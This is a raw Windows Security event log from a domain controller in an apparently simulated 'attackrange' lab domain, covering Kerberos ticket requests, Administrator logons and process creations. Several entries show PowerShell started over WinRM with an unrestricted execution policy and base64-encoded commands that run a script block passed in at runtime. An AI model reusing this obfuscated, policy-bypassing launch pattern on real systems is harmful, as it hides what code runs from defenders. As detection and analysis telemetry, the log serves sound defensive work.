	Account Domain:		ATTACKRANGE
	Logon GUID:		{C1364971-5253-FA23-02F8-6A277941FDBB}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=250922
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{C1364971-5253-FA23-02F8-6A277941FDBB}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=250921
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250920
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11AD5B

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x11a0
	New Process Name:	C:\Windows\System32\chcp.com
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x498
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\system32\chcp.com" 65001

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250919
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11AD5B

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x498
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x10d8
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA==

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250918
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x120877

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250917
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x120877
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{C1364971-5253-FA23-02F8-6A277941FDBB}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250916
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{C1364971-5253-FA23-02F8-6A277941FDBB}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=250915
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{C1364971-5253-FA23-02F8-6A277941FDBB}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=250914
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250913
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11AD5B

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10d8
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1308
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	PowerShell  -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250912
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11AD5B

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1308
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1180
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250911
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11FE2D

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250910
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11FE2D
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{C1364971-5253-FA23-02F8-6A277941FDBB}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250909
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{C1364971-5253-FA23-02F8-6A277941FDBB}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=250908
Keywords=Audit Success
